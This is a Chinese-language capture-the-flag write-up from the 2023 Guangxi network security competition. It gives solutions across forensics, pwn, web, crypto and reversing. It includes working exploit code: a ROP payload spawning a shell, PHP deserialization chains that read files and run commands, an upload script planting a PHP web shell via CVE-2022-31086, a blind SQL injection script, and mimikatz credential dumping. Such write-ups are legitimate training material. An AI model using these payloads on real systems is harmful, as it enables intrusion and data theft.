2023广西网络安全攻防技能竞赛 WP

by ss0t-桂北

前言

在和队友九个小时的奋战后拿到了第五名。

file

MISC

Dev:我 ntlm 呢?

dmp 打开发现是 PK 开头,猜测有压缩包存在,使用 foremost 分离文件,在其中 zip 文件夹中存在一个压缩包,里面是 flag,但不知道密码

file

题目给出提示 ntlm,推测需要使用 mimikatz dump hash,在通过题目给出的 dev 用户推测解压密码为 dev 用户的 ntlm 凭证,成功获取 flag

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::minidump your.dmp
Switch to MINIDUMP : 'your.dmp'

mimikatz # sekurlsa::logonpasswords full
Opening : 'your.dmp' file for minidump...

file

其实很简单

打开表格发现全部的数字为 7000、8000、9000 构成,猜测其对应摩斯电码的 .-/

file

将其替换解码得到一串字符,暂时还不知道有什么用

file

题目给出的另外一个图片大小非常的大,猜测其为图片隐写,lsb 最低隐写,PK 开头分离出压缩包

file

再使用上面得到的密码解压得到 flag

file

我压缩包呢?

文件由 P 开头,推测为损坏文件头的压缩包,补齐 50 4B 03 04 成功打开压缩包,但文件内容被加密。

file

010Editor 打开 png 在其中发现 key 标识

file

使用 key 加压压缩包得到如下字符

file

根据提示推测是 base58 加密

file

在将 16 进制转 ascii 即可

file

PWN

一个有后门的程序

看着是一眼秒,实际上不是这么回事

main 方法中 buf 为 0x20,read 读入 0x64,一眼栈溢出

file

再加上这个后门方法,是不是觉得直接 ret2text 了,但在实际题目中 flag 并不在 tmp 下

file

仔细看在程序中还存在着 /bin/sh 字符串,我们只用从 plt 表中拿个 system 执行即可

file

from pwn import *

content = 1
context.log_level = 'debug'

pop_rdi = 0x000000000040123b
e = ELF("./say")

def main():
    if content == 1:
        p = process('./say')
    else:
        p = remote('node.nsctf.cn', 53435)
    payload = b"a" * (0x20 + 0x8) + p64(pop_rdi) + p64(0x402008) + p64(e.plt['system'])
    p.sendlineafter("Please say what you want to say:  \n", payload)
    p.interactive()

main()

WEB

bombombom

打开是一个小游戏,断定在胜利后会得到 flag,但肯定不可能真的去玩到通关,直接到 js 中寻找通关的地方

file

gameSuccess 方法就是通关输出 flag 的地方,char 转换一下即可

function gameSuccess(){
    isOver=true;
  J.showWait(String.fromCharCode(116,113,108,33,32,32,32,32,102,108,97,103,123,84,104,101,95,119,48,108,102,95,49,115,95,112,64,105,110,102,117,108,125),"success");
}

ezpop

<?php
class Happy{
    public $str;
    public function getString(){
        return "maybe you can find something in somewhere";
    }
    public function __toString(){
        $a = $this->str->des;
        return "heihei";
    }
    function __destruct(){
        $this->str = "123";
    }
}

class Ctf{
    public $file="";
    public $temp;
    public $rand;
    public function getfile(){
        return "nothing";
    }

    function __destruct(){
        $this->rand = rand(1,1000000);
        if($this->rand === $this->temp){
            if (preg_match("/php|flag/i", $this->file)) {
                die("hacker");
            }
        }
    }
}

class Game{
    public $name = "";
    private $x="";
    public function __call($name, $arguments) {
        $this->getflag($this->x);
    }
    function getflag($x){
        show_source($x);
    }
    public function des(){
        return "a class";
    }
    public function __get($name){
        return $this->name($name);
    }
}
show_source(__FILE__);
function filter($str){
    return str_replace("php", "", "$str");
}
if (substr(md5($_GET['try_some_num']),0,8) === '5531a583'){
    echo "ok";
    unserialize(filter($_GET['pop']));
}

一步步分析代码,最终的调用点很明显就能发现在 Game 类中的__call 方法,其中对 show_source($x);

    public function __call($name, $arguments) {
        $this->getflag($this->x);
    }
    function getflag($x){
        show_source($x);
    }

接下来要寻找的就是触发 __call 方法的地方,__call() ​ 会在当调用的方法不存在时触发,而在 Happy 的 __tostring 方法中对 $str 调用了 des 方法,我们只需要将 $str 的内容设置为上面创建的 Game 类即可触发

    public function __toString(){
        $a = $this->str->des;
        return "heihei";
    }

__toString() 会在当一个对象被当作一个字符串使用时触发,Ctf 类的destruct()方法中在 preg_match("/php|flag/i", $this->file) 时会触发tostring,还需要指定一下 $ctf -> temp 等于引用的 $ctf->rand 即可,写出如下 payload 即可读取任意文件,flag 的位置在 robts.txt

$source = new Game();
$source -> x = "/etc/passwd";
$happy = new Happy();
$happy -> str = $source;
$ctf = new Ctf();
$ctf -> temp = &$ctf->rand;
$ctf -> file = $happy;
echo serialize($ctf);

ez_lam

公网搭建一个 ldap 服务器。然后弱口令进后台改服务器地址和 dn

file

然后用自己搭建的 ldap 用户名和密码登录,就可以拿到 session。然后根据 CVE-2022-31086 的描述,找到漏洞点:

file

商城文件时的正则匹配有问题,只需要.png.php 就能绕过,且存储的目录可以访问到。上传点在 templates\pdfedit\pdfmain.php,前面有 token 校验要过,需要满足 sec_token == session 里面的 sec_token 即可。这里可以通过 get 方式访问 templates/pdfedit/pdfmain.php 获取到

file

因此可以通过这里上传 php

file

import requests

url = "http://d7f35ee7f75fd536.node.nsctf.cn/templates/pdfedit/pdfmain.php"
s = requests.get(url,allow_redirects=False,cookies={"PHPSESSID":"8ftnrrfuu4d4ri7faacc2kqgg3"}).text.split('name="sec_token" value="')[1].split('"')[0]
requests.post(url,data={"uploadLogo":1,"sec_token":s},cookies={"PHPSESSID":"8ftnrrfuu4d4ri7faacc2kqgg3"},files={"logoUpload":("a.jpg.php","<?php system($_GET['a']); ?>")},allow_redirects=False)

file

ScoreQuery

测试 1'|if((1),sleep(5),11)|' ​ 有延时,写脚本盲注即可

import time

import requests as requests
url = "http://2af244cd43da7618.node.nsctf.cn/"

def sqli(data):
    data = {"id":f"1'|if(({data.replace(' ','/**/')}),sleep(0.5),11)|'"}
    print(data['id'])
    s = time.time()
    requests.get(url, params=data)
    e = time.time()
    if e-s > 0.5:
        return True
    return False
# 注入点,返回条件是否成立

def sqli1(sql):
    ans = ''
    for i in range(len(ans) + 1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            sqlitest = sqli("(ascii(substr((%s),%d,1))<%d)" % (sql,i, mid))
            if sqlitest:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print(ans)
# 二分法注入

# sqli1('select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA')
# sqli1("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='ctf'")
# sqli1("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='l0ngNameNeverGuess'")
# sqli1("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='TheFl4g'")
sqli1("select  F1ag from TheFl4g")

ezextension

执行命令 poc:


<?php
class MGkk8 {
    public $a;
    public $b;
    public function rpl2() {
        $b = $this->b;
    } }
class KOkjs {
    public $a;
    public $b;
}
class u1Y7U {
    public $a;
    public $b;
}
class QMRb7 {

    public $a;
    public $b;
}
class y97pu {
    public $a;
    public $b;
    public $c;
}
class m1_99 {
    public $a;
    public $b;
}

$eval = new MGkk8();
$b = new stdClass();
$b -> a = "system";
$b -> b = "cat flag.php|base64";
$eval -> a = "RPG";
$eval ->b = $b;
$tos = new KOkjs();
$tos -> a = $eval;
$des = new y97pu();
$des -> a = & $des->b;
$des -> c = $tos;
echo str_replace("R:2","R:02",serialize($des));

读取 flag.php,引导到 enc.so

import base64

import requests

url = "http://893242b023c96be2.node.nsctf.cn/"
data = {"a":'O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:02;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:8:"stdClass":2:{s:1:"a";s:6:"system";s:1:"b";s:73:"cat /usr/local/lib/php/extensions/no-debug-non-zts-20151012/enc.so|base64";}}s:1:"b";N;}}'}
f = open("enc.so","wb")
f.write(base64.b64decode(requests.post(url,data).content))
f.close()

逆向

key = [0x0000009F, 0x00000050, 0x00000052, 0x00000000, 0x00000058, 0x0000009F, 0x000000FF, 0x00000024, 0x0000008E, 0x000000FE, 0x000000EA, 0x000000FA, 0x000000A6, 0x00000034, 0x000000F3, 0x000000C6]
answer = [0x5f,0xc3,0xc6,0x98,0x22,0x91,0x56,0x33,0x63,0xb9,0xc4,0x57,0x9c,0x82,0xcb,0x52,0x5a,0x9e,0x8a,0xce,0x68,0xc2,0x04,0x28,0x39,0xba,0x97,0x57,0x80 ,0x96 ,0xcc ,0x04,0x58 ,0x9c ,0xc2 ,0xc8 ,0x3a ,0x94 ,0x54 ,0x36  ,0x63 ,0xa6]

flag = ""
for i in range(42):
    v5 = (key[i%16]+i)%16
    flag += chr(0x100+~(key[v5] ^ answer[i]))

print(flag)

Crypto

T^Trsa

猜测 a1 和 a2 是 p、q,爆破 e 即可

c1=42194617438786751294720395217172444901958425374337113687330479793209697539921471319700111767581177549196258181420189538237672196586421679226902307742509971397184755293311339677939379892056897381590981297757379097462845061144267627438519686092212401281164295495830139699610638601839578427074761357280108765597567016091253177696411089674799334907442410714494540597101417037385281229478242603209787420378585208816638926699907416356705094724952466870314816459338175162001808889620212321772608148475921852421509285321415840282280517237630716
a1=9558471312490378827885180677012716863500771479450631424122804895807930152295702287958646966958907906192833261022347735243306242889505270395130393781798772798491820445444545673669872027856407533975299714742162919031964824853815926257051106104633873914136672906157593607
a2=4478471855352587505687248543424533195257760094258767086626096743738945407397374910609916529443843210369485210393290549210352395061205068946216229443196960437176765203181017801350178506368124210186042002105705782164611800383139961193086493909992913664024664731445237729

from Crypto.Util.number import *
from gmpy2 import *

n = a1 * a2
fi = (a1-1)*(a2-1)
for e in range(1,100000):
    if not isPrime(e):
        continue
    if gcd(e,fi) > 1:
        continue
    else:
        d = invert(e,fi)
        m = pow(c1,d,n)
        m = long_to_bytes(m)
        if b'flag' in m:
            print(m)

flag{6e79ab3_74d01e1_070be3c}

RE

竞赛开始的那一刻

是 upx 壳

file

这题没有改壳 通过upx -d 直接脱壳

file

拖入ida内 直接搜索main函数没有返回结果 通过start跳转寻找main函数

file

找到了main函数

发现最后是明文输入明文校验,可以直接动态调试

file

在strncmp处打断点,flag随便输一个

查看校验中的str2

file

得到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇